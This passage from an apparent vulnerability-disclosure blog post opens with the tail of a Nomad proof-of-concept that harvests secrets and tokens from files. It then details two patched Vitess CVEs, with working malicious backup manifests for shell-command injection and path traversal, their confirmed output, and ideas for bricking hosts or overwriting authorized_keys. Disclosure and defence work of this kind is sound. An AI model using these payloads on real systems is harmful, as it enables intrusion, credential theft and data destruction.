        with open(path, "rb") as f:
            data = f.read()
        # Extract printable strings of length 8+
        strings = re.findall(rb'[\x20-\x7e]{8,}', data)
        for s in strings:
            decoded = s.decode("utf-8", errors="ignore")
            # Filter for interesting patterns
            if any(x in decoded for x in [
                "-", "nomad", "alloc", "secret", "token",
                "node", "eval", "job", "SecretID", "AuthToken",
                "dc1", "global", "192.168"
            ]):
                print(decoded, flush=True)
print("=== END EXFIL ===", flush=True)
time.sleep(30)
EOF
        destination = "local/poc.py"
      }
      resources {
        cpu    = 100
        memory = 128
      }
    }
  }
}

nomad-config/nomad.hcl

data_dir  = "/nomad/data"
bind_addr = "0.0.0.0"
plugin_dir = "/opt/nomad/plugins"
log_level = "DEBUG"
server {
  enabled          = true
  bootstrap_expect = 1
}
client {
  enabled = true
}
consul {
  address = "consul:8500"
}
plugin "nomad-driver-podman" {
  config {
    socket_path    = "unix:///run/user/1001/podman/podman.sock"
    recover_stopped = true
  }
}
plugin "raw_exec" {
  config {
    enabled = true
  }
}

Relevant Resources

• HCSEC-2026-13: Nomad exec2 task driver vulnerable to arbitrary file read/write via symlink attack
• HCSEC-2026-14: Nomad arbitrary file read/write on client host via symlink attack
• Nomad 2.0.1 release notes
• Fix commit 2a09fd6

• Two CVEs in Vitess. Both come from the backup MANIFEST file being trusted at restore time.
• CVE-2026-27965 (GHSA-8g8j-r87h-p36x)
• CVSS 8.4, CWE-78. The ExternalDecompressor field is run through /bin/sh -c. RCE as the vitess user.
• CVE-2026-27969 (GHSA-r492-hjgh-c9gw)
• CVSS 9.3, CWE-22. FileEntries[].Name path traversal. Write to any path the vitess user can write.
• Affected: v22.0.3 and older, v23.0.0–v23.0.2.
• Patched: v22.0.4, v23.0.3.
• Quick workaround for the RCE only: set --external-decompressor=cat (or any other harmless command) on vttablet/vtbackup. The flag overrides the manifest. No equivalent for the path traversal — upgrade.

Background

I started looking into how vitess was doing backups as I was recenlty looking into the differences between WAL and xlogs etc in postgres and mysql. I was interseted in the boundry that backsups cross, from production data, config files, and then cold storage, and finally how these backups are used in DR.

A Vitess backup is a directory containing a JSON MANIFEST and the data files it references. Restore reads the manifest, copies the data files out, and optionally decompresses them.

A normal one looks like this:

{
  "BackupMethod": "builtin",
  "CompressionEngine": "external",
  "ExternalDecompressor": "zstd -d",
  "FileEntries": [{"Base":"Data","Name":"backup.sql.gz.external","Hash":"..."}],
  "Keyspace": "test",
  "Shard": "0",
  "SkipCompress": false
}

Two fields end up being the bugs:

• ExternalDecompressor, a shell command.
• FileEntries[].Name, a relative path.

Both get read from the manifest and used directly. If you can write to backup storage, you can edit them.

The thing here is that backup storage looks like passive data. The MANIFEST is not. It is restore time control plane input - it picks commands, paths, compression behaviour, and file layout, its a config file. If the backup store is writable by anything other than fully trusted restore operators, the manifest is an execution surface.

CVE-2026-27965: RCE via ExternalDecompressor

From go/vt/mysqlctl/compression.go:

cmdArgs := []string{"-c", cmdStr}
cmd := exec.CommandContext(ctx, "/bin/sh", cmdArgs...)

cmdStr is the manifest field, verbatim. No allowlist, no validation.

PoC manifest:

{
  "BackupMethod": "builtin",
  "CompressionEngine": "external",
  "ExternalDecompressor": "/bin/sh -c 'id > /tmp/PWNED; echo VITESS_RCE >> /tmp/PWNED'",
  "FileEntries": [{"Base":"Data","Name":"backup.sql.gz.external","Hash":""}],
  "Keyspace": "test",
  "Shard": "0",
  "SkipCompress": false
}

Run vtbackup against it:

vitess@d438d03b8595:/$ /vt/bin/vtbackup \
  --backup-storage-implementation=file \
  --file-backup-storage-root=/vt/backups \
  --init-keyspace=test --init-shard=0 \
  --topo-implementation=etcd2 \
  --topo-global-server-address=etcd:2379 \
  --topo-global-root=/vitess/global

... "msg":"Decompressing using external command: \"/bin/sh -c 'id > /tmp/PWNED; echo VITESS_RCE >> /tmp/PWNED'\""

vitess@d438d03b8595:/$ cat /tmp/PWNED
uid=999(vitess) gid=999(vitess) groups=999(vitess)
VITESS_RCE

Code is executed as the vitess user, inside the tablet/container context. Depending on the deployment that means access to database files, MySQL credentials, topology-server connectivity, and the network the tablet sits on. The backup routine has access to SO much. Multiple tablets restoring from the same backup store means one poisoned manifest fans out across the cluster as new replicas come up.

The restore itself fails on a hash mismatch, but the decompressor runs before the hash check. And the engine retries failed file restores, so the command runs twice per attempt.

The thing worth flagging: I had no --external-decompressor flag set. No --compression-engine-name=external, no compression flags at all. Default compression engine is pargzip. The restore engine consults the flag first; if it is empty it falls back to whatever is in the manifest. The manifest sets CompressionEngine: "external" and that is enough.

Default Vitess is exposed. The operator does not have to know external compressors exist — the manifest names one and the code follows.

The fix in PR #19460 makes the manifest fallback opt-in via --external-decompressor-allow-manifest. Default is to ignore the field.

CVE-2026-27969: Path traversal via FileEntries[].Name

The restore engine joins FileEntries[i].Name onto the destination data dir with no normalisation.

PoC manifest:

{
  "BackupMethod": "builtin",
  "CompressionEngine": "",
  "SkipCompress": true,
  "FileEntries": [{
      "Base": "Data",
      "Name": "../../../../tmp/OhNo.txt",
      "Hash": ""
  }],
  "Keyspace": "test",
  "Shard": "0"
}

Same vtbackup invocation:

vitess@6d4bc6844b03:/$ ls /tmp/
OhNo.txt

/tmp/OhNo.txt exists, outside the data directory, written wherever the vitess user can write. Empty contents — I did not bother computing the right hash for the source, but in theory I could have and then there might be no error. I guess I was just being lazy, and excited with what I had already found :P

go/os2/file.go:

func Create(name string) (*os.File, error) {
  return OpenFile(name, os.O_RDWR|os.O_CREATE|os.O_TRUNC, PermFile)
}

O_TRUNC happens before the hash check. So even with a wrong hash, the target file gets created and truncated to zero bytes. Point a malicious manifest at every config or auth file you can guess and the box is bricked. With the right hash you get full write — ~/.ssh/authorized_keys for the vitess user being a killer target, or any other fun files.

No flag based workaround for this one. The fix in PR #19470 clamps the destination to the data directory. Upgrade.

Both bugs, one file

Both bugs sit at the same boundary: MANIFEST fields treated as trusted at restore time. Once a string from that file reaches exec.Command or a path join, the rest is mechanics.

Timeline

• 20 Feb 2026: Reported RCE to cncf-vitess-maintainers@lists.cncf.io.
• 23 Feb 2026: Triage started.
• 24 Feb 2026: Fix for RCE drafted. Reported path traversal
• 25 Feb 2026: Public bug #19459 opened. RCE advisory drafted.
• 26 Feb 2026: Path traversal advisory drafted. CVSS and CWE finalised.
• 27 Feb 2026: Both advisories published. v22.0.4 and v23.0.3 released.

7 days from initial email to two published advisories with backports to v22 and v23. Fast turnaround for a CNCF project — the Vitess maintainers deserve credit for it.

Appendix A: Resources

• GHSA-8g8j-r87h-p36x: Vitess remote code execution via untrusted ExternalDecompressor
• GHSA-r492-hjgh-c9gw: Vitess arbitrary file write via path traversal in backup MANIFEST
• PR #19460: Do not trust manifest-supplied external decompressor by default
• PR #19470: Clamp restore file paths to the destination data directory
• Vitess backup and restore documentation